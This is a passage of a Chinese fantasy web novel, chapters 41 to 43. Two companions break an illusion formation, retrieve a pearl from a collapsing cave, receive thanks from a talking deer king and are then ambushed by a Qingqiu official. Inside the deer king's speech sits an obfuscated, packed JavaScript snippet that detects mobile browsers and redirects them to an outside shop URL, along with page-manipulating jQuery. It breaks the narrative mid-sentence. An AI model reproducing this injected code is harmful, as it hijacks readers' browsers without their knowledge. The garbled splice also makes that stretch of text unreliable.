“殿下!我不走咳咳......殿下!你快出来啊咳咳......”尖利的哭嚎围绕在屋外。 屋内仿佛静止了一般,噼里啪啦的火光在眼前跳跃。 “咳咳......快......带他走......” 火星卷着悲痛欲绝的哭嚎,她怔愣地站着,感觉热浪裹挟着一股巨大的悲伤排山倒海而来,像海啸一般将她的感官吞没,她一瞬间脑海中一片空白。 “慕小闲,你怎么了?慕小闲!”小十一抓着慕小闲的手臂使劲摇晃。 慕小闲的眼里渐渐恢复清明,身体无力地向后踉跄了半步,瞳孔中倒映着烈火褪去,最后一息黑烟像轻纱一般飘向暗淡的天空。 楼宇倾覆,尘土飞扬,石墙上爬满了触目惊心的黑色暗花。 小十一松了一口气:“你刚刚是怎么了?” 慕小闲还未缓过神:“你听见了吗?” 小十一一愣:“什么?” 慕小闲将刚才听到的告诉小十一,小十一听了半信半疑,说自己并没有听见那些声音,也不知是什么意思。 小十一低头深思:“如果是阵法,我们现在看到的......应该是幻象......” 慕小闲环顾四周,余下的断壁残垣看上去更加阴森诡异:“这些都是假的吗?” 小十一也疑惑地看了看周围:“只怕是了,有些阵法会让入阵者产生幻觉。” 所以她们从头到尾都想错了吗? “我们先从这里出去吧。” 小十一点点头,屏息试了几次,忽然肩上一松,颓然地说:“不行,我召唤不了祥云了。” “我们原路返回。”慕小闲回头往刚才来时的方向走去,但原本裂开的墙壁不知何时改变了位置。 ——怎么回事?你是变形金刚吗? “怎么办?”小十一焦急道,他曾学过一些基础的奇门遁甲之术,阵法也略有涉猎。虽然某些凡间修仙人士对此颇为追捧,但天上谁还用这玩意儿啊,所以他在这方面知之甚少。 寻宝一筹莫展,还误入了奇怪的阵法,小十一肉眼可见变得精神萎靡。 慕小闲展开地图,小红点的位置没变,仿佛她们从昨日到现在没有移动过半分。她先前以为是到了目的地,现在看来她们有可能一直在原地打转。 慕小闲拧眉问:“阵法究竟是什么?有没有破解的方法?” 小十一回忆着:“书里说,阵法是一种具有迷惑性的、能抵御侵略的法术,一般依靠摆阵或者结印制作而成。制作者的法力越强大,阵法越逼真,破阵的难度越高。破阵需要先找到阵眼,并且将阵眼中的摆阵图或者印记破坏掉。” 他又补充道:“阵眼一般在阵法的中心位置,但也不是绝对的。可能是个图案,也可能是个物什,总之是比较特别的东西。” 慕小闲心想,这个阵法会是那个阿筝做的吗?他告知晏离来这里寻东西,应该是认为晏离能找到,但晏离却将这个任务给了她们,难道晏离觉得她们也能找到?这是不是意味着,其实晏离已经知道如何破解。 这样想也没错,恐怕这就是晏离对她的考验,若是找不到,他就不再教她。 她好不容易才寻到晏离,怎么能允许他不干了? 不行,她一定得找到! 慕小闲攥紧拳头,眼神坚定道:“走!我们去中心位置看看。” 宫殿的中心部分是一个诺大的花园。因为墙壁的幻象会变动,她们两人一鹿费了比去时更多时间才走出来。 小十一想找个干净点儿的地方歇会儿,但四周没有可以歇脚的地方。他,青丘小霸王,终于迫不得已的情况下,蹲在了角落阴凉处。 日光从头顶斜斜地照射下来,院子里一半沐浴在温暖柔和的阳光中,一半浸没在断墙石壁的阴影下。 花园原本的园艺已经看不出面目,只剩下干涸的池塘、碎裂的假山、阻断的长廊、还有野蛮生长的杂草与枯木。 新生与旧物在这一方狭小的天地间形成了强烈的反差,那些交织在遗忘与沉寂中的过去已经深埋黄土,而顽强、坚韧的生命力如今又破土而出。 慕小闲和小十一分头清理了一下花园的杂草与碎石,杂乱无章的院子渐渐明晰起来。 既为阵眼,那么应该是完整的。 小十一余光瞥见慕小闲回头看了几次,不禁问:“怎么了?” 不远处有一张和梦里很相近的石桌,屹立在花园的一侧。 她记得那个粉嫩的孩童坐在石凳上,身子前倾双手捧着脸趴在石桌上的样子,也记得一袭青衣面目柔和地端坐在对面。 但是面前这个石桌孤零零地立在园内,周围却没有石凳。不知石凳是被烧毁了还是被搬走了,又或者从来没有过石凳。 石桌出乎意料还保持着完好的状态,桌面上落着几片不知经年的枯叶,蒙着一层厚厚的灰。她探出手轻轻地搭在石桌上,冰冷的触感让她下意识地一缩,指尖冰冷但心里好像被烫到一般。 如果说周围破败的废墟让她有那么一点儿惋惜,那这张“全国各大公园”常备、平平无奇又烂大街的石桌居然让她感受到了置身事内的苍凉之意。 慕小闲可不认为自己感性到可以对着一张石桌伤春悲秋,但在一片衰败的景象之中,这张石桌仅仅只是落了灰,一点边边角角都没有损坏,总不能是质量太好吧。 小十一站在她身旁对着桌子干瞪眼,眼睛都酸了:“你觉得这里有问题吗?” “这个石桌保存的太完好了,我们擦干净看看。” 小十一心道:擦?上面的灰尘都变色了拿什么擦?就感觉有人扯他衣服,他回神和慕小闲争抢起来,奈何慕小闲已经趁他不注意撕下了一截衣摆。 那是一段金色暗纹的上好料子,小十一大怒,涨红了他的小脸:“你干嘛扯我衣服?” 慕小闲撸起袖子边擦边吐槽:“为了真理献身是你的光荣。” 小十一恨恨地看着慕小闲,说:“你怎么不拿你自己的衣服?找到个破桌子就当宝,我看你能擦出什么花样!” 石桌渐渐在慕小闲的手下显现原来的面貌,慕小闲猜的不错,上面果然有些稀奇东西。就见桌面歪七扭八地刻着许多黑黑白白的小圆点,乍看之下还以为是一盘五子棋。 实心与空心圆点分别连成的线在圆桌上框出了一个四四方方 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天地和而万物生,阴阳接而变化起? 好像还真有点那个味道。 慕小闲嘶了一声,不确定地说:“这个有点像......河图?” 河图是上古时期流传下来的图像,代表的是宇宙星象,是阴阳五行术数之源。河图的圆点数目从壹到拾。 其中壹,叁,伍,柒,玖,为阳,贰、肆、陆、捌、拾、为阴。阳数相加为贰拾伍,阴数相加得叁拾,阴阳相加共为伍拾伍数。 小十一低头观察了一下,没看明白,催促道:“既然你认出来了,那就赶紧破解吧。” 认出来是一回事,破解是另一回事。慕小闲问:“怎么破解?” “......” 风卷残叶,衣袂飘飘,两人再次陷入沉默...... 良久小十一说:“我记得书上说解除某些阵法,可以用血覆盖上去。” 血?谁的血? 两人继续沉默...... 慕小闲挑眉:“人血?” “......” 又一阵清风拂面与静默...... 两人齐刷刷地侧头,四眼放光地盯着一旁正在吃午餐的小鹿,勾起唇角露出邪魅的微笑。 正有滋有味咀嚼着鲜草的小鹿,突然感觉后脑勺一凉,张着嘴机械地扭过头。 然后废墟之中出现了两人张牙舞爪追着一鹿狂奔的画面。 当两人一人抱住小鹿的脖子,一人抱住小鹿的身子,终于将它擒住时,小鹿留下了悲愤的泪水,仰天大叫:野蛮!太野蛮了! 两人将小鹿往回拖,走了几步就听到“哒哒哒哒”的声音。拐角处惊现四只长角的成年公鹿,一脸严肃地瞪着她们,愤愤地喘着粗气。 小狐狸吓得一哆嗦,立马放开手。小鹿少了束缚,轻而易举地挣开慕小闲,换上了它的招牌委屈脸,哒哒哒哒地躲去了公鹿们的身后。 两人对四头成年公鹿,胜势渺茫。于是两人识时务者为俊杰,行为一致撒开腿就跑,兜兜转转、躲躲藏藏,浪费了许多时间才转回石桌旁。 两人立在石桌旁互瞪喘着气,谁也不让谁。 “还是青丘小霸王呢!连几头鹿都打不过!” “谁说我打不过!我这是,我这是爱惜青丘的子民!” “冠冕堂皇!就是打不过还不承认。” “我我,我体恤百姓懂吗?” “你是结巴吗?害,丢人!” 人身攻击一出,小十一败下阵来。 显然慕小闲和小十一两人都不想放血,所以只能各凭本事。 慕小闲喘了口气,眼里寒光一闪,对着小十一的下身就是一记“薄情寡义”扫荡腿,将尘土高高扬起。 小十一看准时机纵身一跃,一个前空翻立在石桌上,神采飞扬地踩在了八卦图的一边。 在他踩上去的一瞬间,图中空心白点突然迸射出一阵光芒,将本来仰着下巴一脸骄傲的小十一吓得从桌子上滚了下来。 两人对视一眼,突然醒悟过来同时跳上了石桌,分别踩在了实心空心点上。 河图用黑白圆点表示阴阳、五行、四象。 阴阳也就是太极,太极生两仪,两仪生四象,四象生八卦...... 天与地,阴与阳,妖仙与人神...... 或许这就是需要他们同时出现的原因。 果然黑白圆点同时迸发出淡金色的光耀,然而还没等他们高兴,这股光芒就迅速弱了下去。 41. 第 41 章 “猜错了?”小十一不解地问。 慕小闲蹲下身查看:“不,如果错了怎么会有光?” 一定快要接近答案了! “我们换个位置试试。” 两人互换,阴阳颠倒,这次图像暗淡无光。 “怎么回事?” 两仪应当没错,那是哪里出了问题?八卦中,乾代表天,坤代表地,巽代表风,震代表雷,坎代表水,离代表火,艮代表山,兑代表泽,在广义上能演变出宇宙中万事万物,所以这个阵法才能因人而异创造出恢宏的幻想。 眼前的这一切就像是积木玩具的排列组合,他们看到的是组合完成后的样子。 河图是《易经》的源头,那么太极的源头是什么呢? 慕小闲细细思索,然后问了一个仿佛是脑经急转弯的问题:“太极生两仪,什么生太极?” 小十一瞬间抬眼,眼睛迸发出光芒:“阴阳合一,天道无极!是无极!”无极是万物的伊始,是世界最原始、无形无象的本体状态。 慕小闲一字一顿地琢磨:阴、阳、合、一? 啊!揪头发!这是哪个看热闹不嫌事大的人想出来的? 两人背对着背,脸上青一阵白一阵,都在心里默默地给自己做思想工作。慕小闲毕竟是大人,而小十一看上去只是个孩子,她心一横说:“来吧。” 小十一丧着脸极不情愿地回过身,闭着眼张开双臂。慕小闲半蹲下将他紧紧搂住,河图迸发出耀眼的光芒,像跳跃的火焰将两人包裹在内,长久不熄。 良久,光芒减弱,周围的幻象如同雾霭渐渐变得稀薄。 这座未知的宫殿像海市蜃楼一般悠悠飘起,灰暗的颜色逐渐转淡,最终化作一缕清风消散,带着它最后的记忆尘封在了历史长河中。 石桌退化成一张经过岁月磨砺的普通石台,上面的印记骤然消失。 周围不再是断壁残垣的破败之相,而是一片青葱翠绿的荒野平地。困在阵法之中的动物四散开来,远处,几只鹿伸长了脖子对着广阔的天空呜咽,叫声在群山间回荡,惊起阵阵飞鸟,余音不绝。 慕小闲摊开地图,图上小红点与五角星的一角相连,她环顾四周,漫天遍野的杂草,邻着一面巍峨的高山。她又在这片草丛里找了找,好像没有可以藏东西的地方。 小十一弯腰捡起一块造型独特的石头问:“既然叔父没有说要找的是什么,是不是随便什么都可以?” 慕小闲扶额:“你从哪里得出这个结论的?” “晏离要找的,应该是那个阿筝特别留给他的。这个东西一定对他们意义非凡。” 这不是显而易见吗?小十一露出了一副“你在说什么废话”的表情。 “除非那是一件不显山露水的神器,否则你送人的东西怎么可能随意地丢在旷野?既然他特意画了藏宝图,还设置了阵法,说明这是一件所有认知水平正常的人都会觉得十分特别,并且可能已经有他人觊觎的东西。这样一件特殊的宝贝,不管它藏的有多隐蔽,当它出现时,我们一定立刻就能确定是它。” 小十一长舒一口气,腾空而起,俯视四周一望无际的荒草山林,慕小闲则是继续在地上寻找。 半晌,小十一突然指着前方惊呼:“快看!那里是什么?”顺着他的指尖望去,几百米开外,一片浓密的杂草之后,山下隐约有一团黑影。 慕小闲上前几步,那团隐藏在杂草之后、荒山跟前的黑影像是一座简陋的石牌坊。说简陋是因为只有两根圆柱加一行楼顶,没有雕刻花纹,也没有题字。历经风吹雨打,石柱表面凹凸不平,挂着黄褐色的泥土与水渍。 从牌坊往里看,是个不知深浅、幽暗深邃的山洞,洞顶布满了天然的土石。光线被杂草掩去了大半,两人的影子被拉的很长。熹微的光线里飘着细碎的尘埃,如同一个个渺小的蒲公英从山洞飘出。 “是这里吗?”小十一落下,攥紧了慕小闲的袖子。 慕小闲捡起块碎石,狠狠往山洞里一甩,只听到石子啪啪啪几声过后,不知滚去了哪里。小十一耳朵微动,抬起头说:“好深。” 慕小闲点点头,看来先前的阵法是为了隐藏这个山洞。 两人警觉地向内挪移,洞内深不可测,空气中裹挟着一股阴冷的、石头的气息,安静得连二人的呼吸声都被无限放大。小十一抬手“噌”地擦出一团蓝绿色的莹莹幽光,幽光飘在她们身前,像一团火把将洞内点亮。 小十一紧跟着慕小闲,一双狐狸眼东张西望,过了许久忍不住说:“怎么还没到头?”他轻微的声音在洞中回荡,像层层涟漪荡漾。 “嘘。”慕小闲目不斜视地比了个手势,心想这个法术挺方便的,回去之后要缠着晏离教她。 复行数十步,幽光膨胀几分,向前一晃,眼前的小道变宽,出现了一大块宽阔的平地。 空气中弥漫着一层淡淡的尘灰,像是打开了一个尘封多年的箱子。小十一捂着鼻子,用袖子挡了挡,却也无济于事。 慕小闲抬头四顾,周围土石林立,地上散落着许多风化过后残留的碎渣。四周没有其他通道,这里就到头了。 “那是什么?”小十一问。 空地中央凸起一根半人高,直径小臂长的灰褐色石柱。两人上前查看,光滑的表面刻着一颗凹陷五角星。慕小闲蹲下身检查,石柱表层光滑透亮,摸上去不像有什么机关。慕小闲又使劲推了推,石柱纹丝不动。 一回头看见小十一愣愣地看着石柱顶端出神,慕小闲问:“想到什么了?” 小十一回神:“地图上的五角星就是指这个吧?”五角星并不是随处可见,出现在这里必然有所象征。 他盯着五角星,目光灼灼:“我记得地图上那颗五角星是红色的,如果真的代表同一颗,那么这里的五角星也应该是红色的。是不是要将血滴在这颗五角星上?” 慕小闲低下头仔细观察了一会儿,又伸手摸索了一番,却一无所获:“红色也许只是一种标记,这颗五角星看不出有什么蹊跷。” 小十一眼神十分笃定,抢着说:“但是,这颗五角星是我们一路走来看到的唯一一个明确的记号,不可能是平白无故出现的!阿筝能够创造出那么庞大的法阵,在术法上一定很有造诣,不会随便乱用符号的。” 他抬起头,凝眉边思索边说:“我听说,天界某些神族会将血与图腾作为家族的象征,还有一些旁门左道会利用鲜血作为封印或召唤的媒介。既然阿筝懂些奇门遁甲,那么他很有可能也涉猎过这些法术。神族的血脉各有不同,用血辨认身份是最好的方法了。” 听上去不无道理。慕小闲心里吐糟,这帮看上去很高冷的神仙,原来背地里喜欢搞生物实验。 不过放血这种事情横竖不可能指望她,试试也无所谓。 “既然是有象征意义的血,应该是你们白家的对吧?” 小十一身子一颤,一口气堵在喉咙里,半晌才幽幽地说:“这个人是不是和白家有仇?为什么要为难我们?” 实践是检验真理的唯一方法,多说无益,小十一露出虎牙一口咬破指尖,一串血珠从纤细的手指滴落,流进五角星的轮廓中。血珠顺着凹陷的细缝流入,很快渗了进去。 小十一收回手,两人眼睛一眨不眨地等待着发生什么。 良久,洞内毫无动静。 小十一有些尴尬地挠挠头:“怎么没反应啊?” 话音未落,山洞突然剧烈地一震,大块泥土哗哗落下,尘土飞杨,土灰像一层瀑布倾倒而下。 “怎么了?”和上次解除封印前的地震一样吗?慕小闲抬头观望一 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“怎么办呐?”小十一心跳加快,边躲闪边大叫道。 “你......你快用仙力!”慕小闲蒙着头喊道。 小十一两指一竖,一束仙力射向洞顶。洞内猛地一震,小十一差点被掀翻在地。 慕小闲“呸呸”吐出口中的沙土,揉着眼睛崩溃地大叫:“你在干什么啊——” 小十一眉头紧皱,攥紧拳头:“可恶!为什么仙力没有用!” 震动一刻不停,频率加快,砸下的土石越来越厚重,地面的空间越来越狭窄。乱石穿空,一块尖利的巨石与慕小闲擦肩而过,直直插进土里。 慕小闲被吓得倒吸一口冷气,不敢再待下去,跳起来就跑:“保命要紧!撤退!” 小十一紧跟而上,灵巧的身影窜到了慕小闲的前面。 “那边!”慕小闲与小十一踉踉跄跄地往来时的通道疾驰,争分夺秒地向出口跑去,身后震耳欲聋的碎裂声一路纠缠着他们。 远处一束光线从洞口打进来,两人向亮处飞驰过去。地面持续震动,洞里坍塌得更加剧烈,部分尘土堵住了洞口,洞口的亮光越来越稀薄。 “咳咳。”小十一眯着眼睛,紧紧咬着打颤的牙齿,脚下不敢怠慢,往狭小的洞口挤去。 “哗”一大块土石在眼前坍塌,挡住了去路,小十一往后退了半步,绕过土石,向近在咫尺的亮光飞去。 “小心!”身后一阵疾风而过,传来一声惊呼。 “嘭”千钧一发间,威力巨大的一掌将小十一拍出,他一头从狭窄的洞口穿过,栽倒在十米开外的绿地上,已然化成了狐狸原形。 “咳咳。”小十一从草堆里一骨碌爬起来向后看,身子一晃差点摔倒在地,干涩的喉咙里像是灌满了沙土。眼前山体滑坡,碎裂的土石、树干像一堵墙从山上倾倒下来,冲断的牌坊半身没入土堆,满眼是一望无际的土黄色。 事情发生的猝不及防,他仿佛被人当头棒喝,思绪混乱呆在原地,浑身僵硬。 这......怎么可能...... “慕小闲......” 小十一连滚带爬地冲了过去,恢复成人形,颤抖的声音里带着一丝哽咽。 “慕小闲!慕小闲!”他跪倒在地上,双手并用刨开泥土,扒拉了一会儿才想起来运功将土石炸开。 明晃晃的烈日之下,惨烈的大地烘烤着万物生灵,散发出焦灼的气息。 “啪” “轰” “啪” “啪” 一掌接着一掌,水珠迷糊了他的双眼,滴落、渗透在土里。 忽然,一团黑影从他身后投射在土石上。 42. 第 42 章 洞口被堵,震荡减弱,慕小闲无奈之下只能披着一身尘土退回先前的空地。空地布满了碎裂的沙石,石柱陷在土堆中,蒙上了一层昏黄的土色。 看来这颗五角星确实不寻常。 如果不是小十一的血......难不成是她的血? 慕小闲猛地摇了摇头,抖落头上积聚的土灰。她是凡人肉胎,血型也是凡间一抓一大把的那种,没有任何特别之处。 她掏出镜盒看了一眼,不料镜片在刚才的冲击中碎成了几瓣,她唤了几声竟然半点反应也没有。不妙,没有替晏离找到阿筝藏的东西,还把他交给她的镜子摔碎了,看来她尚未开始的学徒生涯,马上就要宣告结束了。 慕小闲心跳一下一下锤击着胸膛,堆积的土石越来越密集,她皱着眉伸手放在那颗五角星上,轻轻吐出一口气。 毫无头绪。 阿筝不可能设计出死局,从始至终他的目的只有一个,就是将东西完好地交给晏离。如果来者是晏离本人,那么越是临到终点,阿筝越不可能为难他。 所以这个关卡唯一的作用,应该是想要确认来者是谁。 来的显然不是晏离。于是地崩山摧封住了洞口。 难道需要晏离的血才行?现在上哪儿去弄晏离的血? 冷静冷静......慕小闲闭上眼睛,晏离不会让她和小十一来送死,一定有别的东西能够证明身份,这个东西要么是晏离给她的,要么是她和晏离身上共有的。晏离给她的镜子塞不进这个五角星的凹槽,还能有什么东西是她没想到的? 她回忆起与晏离在一起的这些天,想到晏离那张冷峻的脸,缓缓睁开眼,眼底翻涌着复杂的神情。她越发不明白晏离到底想要做什么。 要说晏离给过她什么东西,除了地图和镜盒,还有什么? 洞内越来越仄逼,周遭的空气也愈渐浑浊...... 究竟是什么? 慕小闲的脑海中闪过这些天发生的事情,一幕一幕在眼前飞掠而过,忽然她眼神一变,对了,还有那本心法!那是晏离给她的第一件东西! 她的目光落在石柱上,这样看来,能够注入这颗五角星的确实不是血。 坠落的土石碎裂在慕小闲的脚边,她微微凝眉,呼出一口气,掌心出力。身后青丝无风微扬,一股白色的光芒在掌下炸裂,一股强劲的仙力灌入五角星内。 她这些天只修炼了一样东西,就是体内的仙力! 白光减弱,像一抹清烟消散,洞内的震荡停止。 成功了?慕小闲四顾,“轰”的一声,区别于堵住的路,眼前出现了第二个通道。 慕小闲屏息走上前,不敢掉以轻心。沿通道向前几步,前方陡然变宽,慕小闲从通道的阴影中走出,进入了一间暗室。 暗室极为简陋,中央也有一张平台,镶嵌着一个巴掌大的石盒。 慕小闲紧张地舒了口气,小心翼翼的打开石盒,流光溢彩随之泄出,在混沌的暗室中如同一颗璀璨的星星。盒中盛放着一颗清澈的天青色珠子,珠子散发出淡淡的幽光与清新的香气,光芒很快收敛起来,仿佛刚才只是一阵幻觉。 一瞬间的恍惚,慕小闲心里涌出一种似是而非的熟悉滋味,而后心里一酸,像是被剜了一刀。心尖上莫名的酸痛并没有停留多久,逐渐烟消云散,再也回忆不起。 虽然珠子看上去没有新奇之处,但行径至此,慕小闲确定要找的东西就是它。 慕小闲将珠子包好收起来,转身走出暗室,虽然山洞震荡停止,但洞内堆积如山的黄土沙石依旧堵着洞口。 她长叹一口气,在洞内转了几圈。她那一点点单薄的仙力连水都控制不了,怎么可能撼动土石。不知道小十一出去后有没有找外援?他不会就这么跑了吧? 思及此,慕小闲突然听到一阵轰轰隆隆的声音。 她警觉地退后两步,眨了眨眼睛。 “轰!” 眼前的土石炸裂,伴随着外面的强光,放射状朝洞内飞去。慕小闲心里暗骂一句,向后一跃,立在一处高耸的岩石上。 “哒哒哒哒”一群黑压压的东西停在洞外。 慕小闲就着微光往外眺望,只见外面里三层外三层围着十几头看上去十分熟悉的鹿。 鹿?完蛋! 不会是呼朋唤友组团来报仇的吧。她从来没见过这么多鹿,一层叠一层,后排的只剩下黝黑的阴影,怕不是整个山头的鹿都来了? 慕小闲心中一阵愤懑:记仇!这也太记仇了! 一个人影从后方跃起,降落在鹿群前面,仔细一看,居然是小十一。 小十一抬起头看到躲在暗处的慕小闲,上下打量了一圈,确定没有缺胳膊断腿,眼前一亮:“你没事?” 慕小闲从里面探出头,看了一眼他身后气势凌人的鹿群说:“你要是被绑架了你就眨眨眼。” 小十一面上一晒,不知道慕小闲脑子里都在想些什么。 “这是我搬来的救兵!” 慕小闲了然地哦了一声。 这时一只看上去成熟稳重、气质内敛的鹿王从鹿群中端庄地走了出来,深褐色的皮毛在日光下泛着健康的光泽,一双白棕相间的耳朵灵巧地竖在两侧,两只棕黑的鹿角像两只大手向上捧起了半米有余。它冲他们低下了头,露出了毛发/漂亮的......后颈?然后一排一排的鹿群随之向他们低下了头,一眼望去全是柔软脆弱的后颈。 慕小闲诧异地瞟了一眼小十一:什么情况?这群鹿被他驯服了? 鹿王抬起头,圆圆的鹿眼中闪着清亮澄澈的光芒,它的嘴微微一动,一个浑厚的声音响起:“是您救了我的族人吗?” 饶是在天界待了许久,见到鹿开口说话慕小闲还是无意识地睁大了眼睛,既而想明白了前因后果,清清嗓子,故作镇定:“请问您是?” 鹿王的圆眼看向小十一:“我是这座武祁山鹿族的首领,您可以叫我鹿崇。昨日几名族人突然出现,恍然不知今世何世,询问之下才知他们已失踪多年。他们向我们叙述了这些年奇异的遭遇,并且说是二位将他们救了出来,所以我带着我的族人前来感谢二位的施救 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137706|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 鹿群大多长得相近,全都睁着又大又圆的鹿眼向他们张望,一时找不出在阵法中追杀他们的是哪几位。 慕小闲了然,青丘的动物吸收天界精华,日新月异修炼成精怪有诸多先例,并不是罕见的事情。 鹿崇恭敬地问:“我听说,二位是为了阿筝公子前来的?” “您认识阿筝?”慕小闲问。 鹿崇答道:“很多年前他曾在这里住过一段时间,我并未见过,但祖上蒙受了他的恩惠,我们一直记在心里。” “我们准备了一些谢礼,希望你们能收下。”后排的鹿衔着一个包袱跑上前摊在两人面前,里面是原生态无污染的瓜果与蔬菜。 “一点薄礼,二位不要介意。” 慕小闲接过包袱:“客气。举手之劳不足挂齿。” 尚未开智的鹿群在完成任务后各自散去,鹿崇等他们走后,并没有马上离开的意思,而是别有深意地问:“二位还需要什么帮助吗?” 慕小闲眼珠一转,好奇地问道:“您是否知道,阿筝是个怎样的人?” “阿筝公子是一位非常善良的人。”鹿崇答道:“我的祖母跟我说,在很多很多年前,鹿族并非这座山中的统领,山里的狼群占据着山头,为了不让鹿族群聚,想方设法将鹿族打散。曾曾曾祖母在怀孕时和族中的鹿群走散,在山中为躲避狼群奔波数日险些小产,当时遇见了阿筝公子施以援手,替她保住了胎儿,将她一路护送回了族中。” 鹿崇补充道:“听闻阿筝公子乐施好善,这座山的许多动物都受过他的恩惠。如果有动物上门求助,他也尽其所能、尽力而为,从不随便拒绝。” “你知道他去哪儿了吗?”慕小闲又问。 鹿崇摇了摇头:“不知,他在很多年后回来过一次,在山洞中待了几天,之后就再也没有听说过他的事迹。” 慕小闲若有所思地点点头。 鹿崇离开后,慕小闲与小十一目送他远去,日影西斜,斑驳的光点透过树叶晕染在慕小闲脏乱的裙摆上。 小十一望着远处问:“你为什么要问阿筝的事?” 慕小闲拿起一只果子清脆地咬了一口,含糊不清地说:“我有一件事情想不明白。” 闻言,小十一抬头疑惑地看着她。 “阵法与山洞里的机关设计得这么粗暴,阿筝怎么可能是个温柔善良的人啊?”一种怪异的感觉油然而生,随着思考,慕小闲咀嚼的速度渐渐慢了下来。 小十一随口说道:“那可不一定,兔子被逼急了还会咬人呢,大抵是不想让别人找到他藏的东西吧。” 阿筝是什么样的人?他和晏离什么关系?他现在在哪里?这颗珠子有什么用?这件事情太多她搞不清楚的地方了,好在她帮晏离取回来阿筝交给他的东西,她终于能名正言顺地拜晏离为师了。 小十一:“别想了,你找到那东西了吗?” 慕小闲得意地挑了一下眉。 “是什么?给我看看!”小十一好奇地问。 慕小闲:“回去再说。” 43. 第 43 章 飘逸的祥云在空中倏而划过一道弧线,时上时下,带起一串儿落叶,惊起几只鸟雀,留下长长的云迹。 任务完成后,慕小闲整个人都松懈下来,翘腿慵懒地躺在祥云上,将胳膊枕在脑后。天光大亮,白光刺得她眯起眼睛,轻轻呼出一口气。小十一则是躺在另一边打盹,这一趟让他很是疲惫。 慕小闲捂上胸口的珠子,冰冰凉凉的气息透过衣襟渗入她的皮肤,完成了晏离交代的任务,他应该会开心吧。思及此,慕小闲脸上不自觉染上了一层浅淡的笑意。 祥云越过高山,穿过云海,向那光明的尽头飞去。 空中突然响过一记尖锐的哨子音,一阵横向而来的气流顷刻之间逼近,将慕小闲的头发糊在了脸上。慕小闲猝不及防眼前一黑,整个身体被一股阻力向远处推。 尚未坚持几秒,整块祥云都被掀翻,两个自由落体向下栽去。 慕小闲慌忙在空中伸手一捞,将睡得人事不知的小十一横腰搂起。 天旋地转,小十一在下坠中惊醒,迷瞪着眼睛看着近在咫尺的慕小闲,嘟囔道:“离我这么近做什么?”然后伸手将她向外推。慕小闲劈头盖脸一顿痛骂:“你睁大眼睛看看现在是什么情况!” 小十一陡然瞪大眼睛,下一秒死死抓着慕小闲的手臂。 “啊啊啊啊啊慕小闲!为什么每次和你一起乘祥云都会掉下去?我乘了几百年祥云为什么会被一个新手带翻车啊......” 靠近地面时,慕小闲一个翻身,风姿飒爽地缓缓落在林间,一手将小十一放下。小十一一落地,狐狸眼向上一翻,余光瞥到对面的人影,表情一僵,脖子向后缩了一下。 十米开外是个中年模样的女人,眉眼硬挺,身姿挺拔,不显老态与虚浮。她用一只雕花木簪挽起青丝,披着灰色的开衫长褂,肩头的流线上扬,黑丝银线勾勒着腾飞的鸟雀,像是要展翅欲飞一般。棕色的腰带一束,挂着几串光滑的兽骨碎片。 小十一立刻换上讨好的表情,弯着唇角甜甜糯糯地喊道:“施姨......”那副模样要多乖巧有多乖巧,但那甜腻的眼神深处还有一丝没来的及褪去的惧意。 来人面不改色,英气的眉毛压着凌厉的眼眸,肢体看似大方随意,但周身的气氛压抑到了极致。她的眼睛紧紧盯着慕小闲,向小十一半伸出手,沉声道:“过来。她身上气息不纯。” 听到这句话,慕小闲心里第一个反应是:她体内居然还有气息这种东西?不得了啊。 小十一看了慕小闲一眼,赶忙解释道:“施姨,你听我说,她是......” 未等小十一说完,这位施姨瞬间闪现在慕小闲眼前,速度极快地一手拉开小十一,一手突现一把细长的半月刀,横向慕小闲颈部送去。 慕小闲甚至都没看清这一系列的动作是如何发生的,只觉面前一阵凌冽的寒风袭来,几乎全靠本能向后一仰。一道寒光从鼻尖擦过,由于惯性扬起的发丝与刀刃一触即断,洋洋洒洒地落下来,惊得她失了声。 小十一懵懂地被拉到战局之外,略显单纯地眨了眨狐狸眼,瞳孔中倒映着慕小闲惊慌失措地在林间乱窜的身影。 慕小闲躲在一棵大树后刚探出头,一刀寒光突至,在树干上剜下两道深深的印记。她借力后翻,单手一撑,双腿轻盈地落地,又躲过了一道攻击。 小十一定了定神,感觉好像有哪里不对?慕小闲什么时候有这种身手了? 慕小闲落在不远处,还没喘口气,就见一道灰白色的劲气劈来。她一侧身,感觉后背拔凉拔凉的。她的衣服特么被刮破了! 身后巨震,刀锋带起的劲气横冲直撞,横腰截断了一排树木,大树齐刷刷地向后倒去。 慕小闲心里的气忍无可忍,张口大骂:“你到底是哪位?出招之前先自报家门好吗,偷袭算什么好汉。” 对面的人眼色一沉,已然不悦,沉着声说:“青丘右相——施未羽,持幻月刀向阁下讨教。” 就算她自曝了,慕小闲对那一长串的名号也毫无概念。她向后挪了半步,眼珠子转了转,跑不跑?之前一遇到危险就逃跑是因为她没有仙力,现在她有啊!跑不跑还纠结上了。 施未羽不给她思考的时间,弓步站开,一手握拳置于额边,一手持刀对着慕小闲,眉头紧锁:“请阁下出招。” 慕小闲还停留在积累仙力的阶段,哪里有什么招不招的? 战或是不战?这是个问题。 施未羽似是有些不耐烦,眼睛微眯,周身的威压隔了数米都能感觉得到。小十一往两边瞅了瞅,神色紧张地劝阻道:“施姨,她真的不是坏人。我认识她。” 施未羽眼睛紧盯着慕小闲,并不理会小十一,看上去没打算放过她。 说来慕小闲也想知道自己到底学成了什么样,如此真枪实战的机会不多见。她屏息凝神,撩起衣摆一步跨开,双掌大张,煞有其事地说:“既然如此,慕小闲,双掌,奉陪。" 小十一哽了一下,跳开几米,心想你还挺上道。 施未羽身手极快,刀花如幻影,顷刻间一团黑影就逼近了慕小闲的身侧。慕小闲微微出力,双脚腾空,在空中扑腾几下,向施未羽持刀的手腕踢去。 说是踢,不如说是踹,她的脚法紊乱,在空中并不得力。施未羽眼里升起一丝鄙夷,右手中的刀瞬间换到左手,从慕小闲脚下滑出,在她单脚点地的瞬间,刀背狠狠砍在她的脊背上。 